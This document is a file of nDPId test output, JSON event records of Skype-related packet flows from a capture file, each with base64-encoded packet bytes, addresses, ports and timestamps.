+00437{"flow_id":255,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1714,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":604838,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0fYlAAEAGOZ\/AqAEiUuBu8chll+8qmAT6dbFX5YAQECrDFwAAAQEICj4yZ8UABxxj"} +00438{"flow_id":252,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1715,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":605061,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA00\/9AAEAG4yjAqAEiUuBu8chil+9r2DUpwKVsb4ARECnymwAAAQEICj4yZ8UABxv0"} +00456{"flow_id":255,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1716,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":605224,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"0NQSxnP1PBXCt3IOCABFAABCz39AAEAG55rAqAEiUuBu8chll+8qmAT6dbFX5YAYECr79gAAAQEICj4yZ8UABxxjMlUiMg++hysgPLDsCnE="} +00449{"flow_id":241,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1721,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":646048,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8JaNAAEAGknnAqAEiBfi63chaeSLm2Z7HnfKa24AZECiFNwAAAQEICj4yZ+sAAJTxinTTcj1jiGY="} +00460{"flow_id":255,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1722,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":674206,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"PBXCt3IO0NQSxnP1CABFAABGK7hAAHIGWV5S4G7xwKgBIpfvyGV1sVflKpgFCIAYAQIXKAAAAQEICgAHHGo+MmfFVvoJWDw5CmsinQt7JpUAy755"} +00436{"flow_id":255,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1723,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":674329,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0dktAAEAGQN3AqAEiUuBu8chll+8qmAUIdbFX94AQECnCrwAAAQEICj4yaAcABxxq"} +00492{"flow_id":255,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1725,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":674511,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABao5JAAEAGE3DAqAEiUuBu8chll+8qmAUIdbFX94AYECm0ygAAAQEICj4yaAcABxxqnFPma9bHadl4Nwc7Zj60yXxykNHxifplbPVRlw\/zWX3ZQkfBbaY="} +00437{"flow_id":255,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1740,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":939750,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0K7pAAHIGWW5S4G7xwKgBIpfvyGV1sVf3KpgFLoAQAQLRlQAAAQEICgAHHIU+MmgH"} +00448{"flow_id":240,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1742,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":3083,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8I9pAAEAGBV\/AqAEiR+4Hy8hZSU+QnysQ5ZyWQIAZECprGQAAAQEICj4yaUsDHMmEsUo9bapdk3s="} +00665{"flow_id":249,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1743,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":26199,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"0NQSxnP1PBXCt3IOCABFAADbsaRAAEAGjTrAqAEiF84hpshfAbtO4sWpGQUJ6IAYECy+zgAAAQEICj4yaWLsPkNyFgMBAKIBAACeAwFVWiOCVbYrRciiFbDPyo4FvK6EfrMUp8GvYuL\/j8yxbgAATAD\/VgDAJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAApAAAAEwARAAAOYXBwcy5za3lwZS5jb20ACgAIAAYAFwAYABkACwACAQA="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1753,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":256,"flow_packet_id":1,"flow_first_seen":1431970693196,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.216.125","src_port":51302,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":256,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1753,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":196942,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAWFNAAEAG7F7AqAEiW77YfchmAbumoVhjAAAAALAC\/\/\/PlQAAAgQFtAEDAwUBAQgKPjJqCAAAAAAEAgAA"} +00437{"flow_id":256,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1754,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":239490,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA0PUNAAPUGUnJbvth9wKgBIgG7yGaCZHojpqFYZIASH\/6TZAAAAgQFoAEDAwQBAQQC"} +00420{"flow_id":256,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1755,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":239613,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoI6NAAEAGISfAqAEiW77YfchmAbumoVhkgmR6JFAQIADUHQAA"} +00428{"flow_id":256,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1756,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":239725,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"0NQSxnP1PBXCt3IOCABFAAAtwqtAAEAGghnAqAEiW77YfchmAbumoVhkgmR6JFAYIAC9DQAAFgMBAAA="} +00519{"flow_id":160,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1757,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":271419,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABreLhAAEAGdpLAqAEi1cezsMg+Absskrs7gA\/xNYAZECyfWwAAAQEICj4yalFO3n\/RxnG4\/AJEgxSLpj4g1w1XejDcElFRdGJgTnfA7RCUIGPtheZryFD\/LSyJskZ7bbubC2TOpkOp3g=="} +00428{"flow_id":256,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1758,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":281994,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFCAAoCrZAADYGRAxbvth9wKgBIgG7yGaCZHokpqFYaVAQA6DweAAAAAAAAAAA"} +00449{"flow_id":252,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1759,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":318691,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8LoRAAEAGiJzAqAEiUuBu8chil+9r2DUhwKVsb4AZECnZtgAAAQEICj4yan8ABxv0Y+a7tnpGfD8="} +00548{"flow_id":120,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1763,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":361308,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACDrbNAADYGF2tv3U2vwKgBIgG7yDJl2k5Xodh+KIAYAB1IagAAAQEICk2kBHA+MeisFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00421{"flow_id":120,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1764,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":361421,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoKGdAAEAGkxLAqAEib91Nr8gyAbuh2H4oAAAAAFAEAABGmwAA"} +00457{"flow_id":255,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1768,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":633443,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABCK8JAAHIGWVhS4G7xwKgBIpfvyGV1sVf3KpgFLoAYAQLk8QAAAQEICgAHHMo+MmgHX3p649iZfa33vFNUcJI="} +00437{"flow_id":255,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1769,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":633514,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0GthAAEAGnFDAqAEiUuBu8chll+8qmAUudbFYBYAQECm+bAAAAQEICj4ya7YABxzK"} +00445{"flow_id":255,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1770,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":633611,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4GlpAAEAGnMrAqAEiUuBu8chll+8qmAUudbFYBYAYEClFQQAAAQEICj4ya7YABxzK4LqYZA=="} +00505{"flow_id":223,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1771,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":679065,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"0NQSxnP1PBXCt3IOCABFAABkSBxAAEAG2QrAqAEiQAQXn8hSAbvNFjuOa1gmPIAZECx\/6gAAAQEICj4ya+JMR9pGOm9QiCGp0cwW6vp4r5Dn8\/7YY8lRGP7REcP1BqFDpRTD4qb3sZ4E9ti6rTGePCt6"} +00491{"flow_id":255,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1776,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":744239,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"PBXCt3IO0NQSxnP1CABFAABbK8dAAHIGWTpS4G7xwKgBIpfvyGV1sVgFKpgFMoAYAQJg8AAAAQEICgAHHNU+Mmu2W8NfWaHKaiQUhQUqKyJvgz+hXp0h+xUSaSAk7mGfNPpJzOtSbfFU"} +00549{"flow_id":223,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1779,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":811716,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACD\/H9AADYGLohABBefwKgBIgG7yFJrWCY8zRY7joAYAB2qDAAAAQEICkxH4ug+MkmwFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00421{"flow_id":223,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1780,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":811798,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoUttAAEAGzofAqAEiQAQXn8hSAbvNFjuOAAAAAFAEAADDwAAA"} +00898{"flow_id":251,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1781,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970693,"pkt_ts_usec":882761,"pkt_caplen":401,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":401,"pkt_l4_len":367,"pkt":"0NQSxnP1PBXCt3IOCABFAAGDdEhAAEAGz4vAqAEiW77YGMhhMD6A1I7uSE6kloAYECnLpwAAAQEICj4ybKkNH3Ow5U5PVEeeCZpIIwSmkpxtPWvIQ8ycvXYLJYFHzypUoxCI4WYjUn1+fD\/hEHw\/QclyzkFvzzgC+gTQISL9Gc2pOkm+7\/OxwST+HGNp1LPLG6lujGcE5Y5efc8EkFCg\/zsXT+ZIbYKWoUDRi61OdIxcs1kdUr4ZmxkOXWCJxxDN3OxiEJ+JriDCicgOMiHmUcbTyLC8iJKqBM9\/gpZEaTW\/5N20B2\/GLkJHjFFoRXE07pKWEGQgr6c6gqXuPl3DEjhJckvETpiJ8v+p0qIXRcxs1ht4ZilQkjxIw3S2cnA0p5u+lOChexJvZqWieZkgH5t1pDMw9Xuovqbllekc1lBNq\/GEGTZgDYc\/K9V5zkcHXAC0+1fMaDUI1WM4ewVb5f1GOrOQGU\/l0MoMxFG30yoODyXJi6F+eWg8shWymNPdud0cNGJaiwifLozFkaD5vlA="} +00449{"flow_id":212,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1785,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970694,"pkt_ts_usec":100135,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8w2xAAEAGLLvAqAEinTfrkshMnFVVB2tZ4fDnQYAZEClH6AAAAQEICj4ybYBMYN9f7d463h6NxxM="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1790,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":257,"flow_packet_id":1,"flow_first_seen":1431970694308,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"80.121.84.93","src_port":51303,"dst_port":62381,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":257,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1790,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970694,"pkt_ts_usec":308651,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA0wpAAEAGAQ3AqAEiUHlUXchn861MQWgbAAAAALAC\/\/+zaQAAAgQFtAEDAwUBAQgKPjJuTgAAAAAEAgAA"} +00548{"flow_id":192,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1796,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970694,"pkt_ts_usec":432341,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACDIDFAADYG2amdN+uYwKgBIgG7yErORgmIofXTDoAYAB2K1gAAAQEICkxeOfA+Mi4JFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00422{"flow_id":192,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1797,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970694,"pkt_ts_usec":432466,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo\/eBAAEAG8lTAqAEinTfrmMhKAbuh9dMOAAAAAFAEAAAmPAAA"} +00450{"flow_id":239,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1799,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970694,"pkt_ts_usec":564399,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8GEVAAEAGcv\/AqAEiTKehBshYTzLHdCYHEv4ezoAZECp4iQAAAQEICj4yb0q+r7k1zWOVyLN8y6I="} +00452{"flow_id":155,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1804,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970694,"pkt_ts_usec":737954,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAjiQAAEARaRXAqAEiwKgBAfduADUALM6fTeoBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00452{"flow_id":156,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1805,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970694,"pkt_ts_usec":738041,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAwIsAAEARNq7AqAEiwKgBAfsCADUALD+l2TUBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00449{"flow_id":147,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1806,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970694,"pkt_ts_usec":879496,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8Hx9AADcGpWdv3U2OwKgBIpxNyDjFFww99Eu8KYAYAB2nPwAAAQEICk2QL6g+MgZ1xx693YJQoJ0="} +00449{"flow_id":252,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1810,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970694,"pkt_ts_usec":899742,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8WE9AAEAGXtHAqAEiUuBu8chil+9r2DUhwKVsb4AZECnTngAAAQEICj4ycJcABxv0Y+a7tnpGfD8="} +00437{"flow_id":178,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1811,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970695,"pkt_ts_usec":165948,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA05dRAADcG4jVv3UoSwKgBIgG7yEQiaEvIjx1l1IARAB1fmQAAAQEICk12wzA+Mh9R"} +00454{"flow_id":257,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1812,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970695,"pkt_ts_usec":316316,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAwedAAEAGEjDAqAEiUHlUXchn861MQWgbAAAAALAC\/\/+vgAAAAgQFtAEDAwUBAQgKPjJyNwAAAAAEAgAA"} +00666{"flow_id":249,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1813,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970695,"pkt_ts_usec":319855,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"0NQSxnP1PBXCt3IOCABFAADbntFAAEAGoA3AqAEiF84hpshfAbtO4sWpGQUJ6IAYECy19gAAAQEICj4ycjrsPkNyFgMBAKIBAACeAwFVWiOCVbYrRciiFbDPyo4FvK6EfrMUp8GvYuL\/j8yxbgAATAD\/VgDAJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAApAAAAEwARAAAOYXBwcy5za3lwZS5jb20ACgAIAAYAFwAYABkACwACAQA="} +00449{"flow_id":213,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1814,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970695,"pkt_ts_usec":408037,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8vrpAAEAGMWPAqAEinTfrnMhNnFpJkZ6byTsrQ4AZECg5MgAAAQEICj4ycpJMXOPPdjjDMntxC5I="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1817,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":258,"flow_packet_id":1,"flow_first_seen":1431970695865,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"149.13.32.15","src_port":51305,"dst_port":13392,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":258,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1817,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970695,"pkt_ts_usec":865959,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAWQRAAEAGas3AqAEilQ0gD8hpNFCsfgF7AAAAALAC\/\/9i1QAAAgQFtAEDAwUBAQgKPjJ0WwAAAAAEAgAA"} +00449{"flow_id":244,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1818,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970695,"pkt_ts_usec":883625,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8CZNAAEAG0H7AqAEiUVNNjchbROcBp2cbGMO5FYAZECkh+wAAAQEICj4ydGwAvBW1LtP9fnVyMSs="} +00449{"flow_id":258,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1819,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970695,"pkt_ts_usec":908819,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFCAA8AABAADUGzs2VDSAPwKgBIjRQyGm+xiHqrH4BfKASOJCW7wAAAgQFrAQCCAo\/i4QRPjJ0WwEDAwk="} 